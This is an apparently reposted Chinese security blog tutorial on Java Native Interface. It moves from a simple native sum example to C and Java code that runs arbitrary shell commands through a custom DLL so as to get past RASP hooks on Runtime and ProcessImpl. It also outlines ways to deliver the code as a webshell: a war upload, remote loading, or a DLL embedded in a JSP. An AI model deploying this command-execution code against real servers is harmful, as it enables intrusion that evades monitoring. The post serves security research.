1. 程式人生 > >Java安全之JNI繞過RASP

Java安全之JNI繞過RASP

# Java安全之JNI繞過RASP ## 0x00 前言 前面一直想看該JNI的相關內容,但是發現JNI的資料還是偏少。後面發現JNI在安全中應用非常的微妙,有意思。 ## 0x01 JNI概述 JNI的全稱叫做(Java Native Interface),其作用就是讓我們的Java程式去呼叫C的程式。實際上呼叫的並不是exe程式,而是編譯好的dll動態連結庫裡面封裝的方法。因為Java是基於C語言去實現的,Java底層很多也會去使用JNI。 在開發中運用到的也是比較多,比如在前面分析鏈的時候,追溯到一些底層實現程式碼的時候就可以看到一些方法是使用`Native` 來修飾的。這就說明他是一個c語言去實現的一個方法。 ## 0x02 JNI實現 來看到下面這張圖,該圖是實現JNI程式設計的具體路線 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201201113448910-673131287.png) 這裡我大致分為五步: ``` 1. 定義一個native修飾的方法 2. 使用javah進行編譯 3. 編寫對應的c語言程式碼 4. 使用gcc編譯成dll檔案 5. 編寫一個Java類使用System.loadLibrary方法,載入dll檔案並且呼叫 ``` 按照步驟來實現一下 1. **定義一個native修飾的方法** ```java package com.test; public class Command { public native int sum(int num1,int num2); } ``` 2. **使用javah進行編譯** 首先使用javac編譯成class檔案 ```java javac .\Command.java ``` 然後使用javah生成c的標頭檔案,切換到src目錄下。後面發現其實可以不用編譯成class檔案。 JDK10移除了`javah`,需要改為`javac`加`-h`引數的方式生產標頭檔案,命令: ```java javac -cp . .\Command.java -h com.test.Command ``` 然後執行命令 ```java javah -cp . com.test.Command ``` ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201201113517438-2133055621.png) ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201201113543072-387238555.png) 這裡可以看到有個`Java_com_test_Command_sum`的字元,前面的Java是固定的字首,後面是類名,最後面的是該類中定義的方法。 而括號裡面的4個引數,第一個是JNI環境變數物件,第二個是Java呼叫的物件,這裡是jclass也就是一個class檔案。後面兩個則是傳入的引數並且是int型別的。 裡面的內容是javah基於剛剛的java程式碼自動生成的,不要輕易更改。在編寫c程式碼的時候,需要匯入該標頭檔案 3. **編寫對應的c語言程式碼** ```java #include "com_test_Command.h" JNIEXPORT jint JNICALL Java_com_test_Command_sum (JNIEnv *env, jobject obj, jint num1, jint num2){ return num1+num2; } void main(){} ``` 4. **使用gcc編譯成dll檔案** ```java gcc -I "c:\ProgramFiles\Java\jdk1.7.0_75\include" -I "c:\Program Files\Java\jdk1.7.0_75\include\win32" --shared JniClass.c -o 1.dll ``` 需要指定jdk的include和win32檔案 或者可以這麼寫 ```java gcc -I"%JAVA_HOME%\include" -I"%JAVA_HOME%\include\win32" -shared -o cmd.dll com_anbai_sec_cmd_CommandExecution.c。 ``` mac 編譯: ```java g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/darwin" -shared -o libcmd.jnilib com_anbai_sec_cmd_CommandExecution.cpp ``` linux編譯: ```java g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o libcmd.so com_anbai_sec_cmd_CommandExecution.cpp ``` g++是用來編譯c++的,均可使用。程式碼如果是c++寫的,就可以使用g++來編譯成dll一樣可以呼叫。 這裡先來編譯一下 ```java gcc -I "D:\JAVA_JDK\include" -I "D:\JAVA_JDK\include\win32" -shared -o cmd.dll .\Command.c ``` ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201201113620437-300498732.png) ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201201113631143-1259884362.png) 重新在IDEA裡面開啟專案,並編寫程式碼 ```java package com.test; public class test { public static void main(String[] args) { System.loadLibrary("cmd"); Command command = new Command(); int sum = command.sum(1, 2); System.out.println(sum); } } ``` 執行檢視結果,檢視是否能正常執行 然而這裡發現爆了個這樣的錯誤,在64位數的平臺不能去呼叫32位數的dll檔案,貌似是使用到了32位的gcc進行編譯導致呼叫報錯 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201201113700200-1881685703.png) 發現自己安裝的是32位的gcc編譯只能編譯成32位的dll檔案,後面來使用gcc 64 位的就可以了。 再次編譯成gcc進行呼叫後,就可以進行執行。 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201201113705352-29043648.png) 到了這裡,就已經是呼叫了封裝好的dll動態連結庫檔案裡面封裝的方法了。 ## 0x03 JNI 繞過RASP 執行命令 在RASP裡其實是Hook掉了一些`Runtime`、`ProcessBuilder` 等類,但是`Runtime.exec`呼叫的是`ProcessBuilder.start`,`ProcessBuilder.start`的底層會呼叫`ProcessImpl`類。那麼這時候只需要去Hook掉`ProcessImpl`就無法進行執行命令了。那麼像這種基於堆疊呼叫去識別的該怎麼去繞過呢?假設一個場景一個站點使用RASP,這時候如果上傳一個webshell 那麼這時候就會去用到JNI去呼叫該dll檔案就可以進行一個繞過,可以先來實現這麼一個功能,後續還需要考慮到的是怎麼將幾個檔案封裝到一起,打包成一個jsp檔案進行上傳。 首先還是需要在IDEA裡面先去實現功能,基於上面程式碼去做一個修改 Command類: ```java package com.test; public class Command { public native String exec(String cmd); } ``` 編譯成.h c語言的標頭檔案,內容如下: ```c /* DO NOT EDIT THIS FILE - it is machine generated */ #include /* Header for class com_test_Command */ #ifndef _Included_com_test_Command #define _Included_com_test_Command #ifdef __cplusplus extern "C" { #endif JNIEXPORT jstring JNICALL Java_com_test_Command_exec (JNIEnv *, jobject, jstring); #ifdef __cplusplus } #endif #endif ``` 編寫命令執行的C語言程式碼,由於不會C ,該段程式碼是網上找的 ```C #include "com_test_Command.h" #include #include #include
#include #include int execmd(const char *cmd, char *result) { char buffer[1024*12]; //定義緩衝區 FILE *pipe = _popen(cmd, "r"); //開啟管道,並執行命令 if (!pipe) return 0; //返回0表示執行失敗 while (!feof(pipe)) { if (fgets(buffer, 128, pipe)) { //將管道輸出到result中 strcat(result, buffer); } } _pclose(pipe); //關閉管道 return 1; //返回1表示執行成功 } JNIEXPORT jstring JNICALL Java_com_test_Command_exec(JNIEnv *env, jobject class_object, jstring jstr) { const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL); char result[1024 * 12] = ""; //定義存放結果的字串陣列 if (1 == execmd(cstr, result)) { // printf(result); } char return_messge[100] = ""; strcat(return_messge, result); jstring cmdresult = (*env)->NewStringUTF(env, return_messge); //system(); return cmdresult; } ``` 使用命令將2個檔案編譯成dll動態連結庫 ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201201113820004-1320881157.png) 然後編寫Java程式碼載入dll檔案,呼叫C語言中封裝的方法 ```java package com.test; public class test { public static void main(String[] args) { System.loadLibrary("cmd"); Command command = new Command(); String ipconfig = command.exec("ipconfig"); System.out.println(ipconfig); } } ``` ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201201113842362-1633861304.png) 呼叫棧: ![](https://img2020.cnblogs.com/blog/1993669/202012/1993669-20201201113858479-828316129.png) 命令就執行成功了,這裡不是呼叫一些自帶的Runtime等方法,而是呼叫dll檔案中封裝的方法,能夠去繞過一些RASP的攔截。 目前我的設想是由兩種方式在現實場景中去進行一個使用,一個是將dll檔案都打包成一個war包,在一些tomcat管理後臺的位置上傳後,自動進行解壓釋放該dll檔案,然後使用jsp去呼叫該dll檔案,從而使得可以繞過執行命令。或者是可以使用遠端呼叫的方式,這樣就可以不用上傳dll檔案了, 這樣做的目的是一般上傳點之類的都不會允許dll檔案進行上傳。 還有一種方式是將dll檔案編碼後,內建到jsp中,執行的時候進行釋放到當前檔案目錄下,進行呼叫。 ### 參考文章 ```java https://cloud.tencent.com/developer/article/1541566 https://javasec.org/javase/JNI/ ``` 吹爆花貓大哥的Javasec文章,在Javasec的JNI文中用到的是c++來進行一個程式碼實現,實際效果差不多。具體的在本文中就不做實現。Javasec中有現成程式碼。 ## 0x04 結尾 其實這種方式還是有辦法查殺到的,具體參考該篇文章:[JNI程式設計怎麼跟蹤除錯dll](https://mp.weixin.qq.com/s/2aDz5B3RaeYK_wPHDOtQvw)。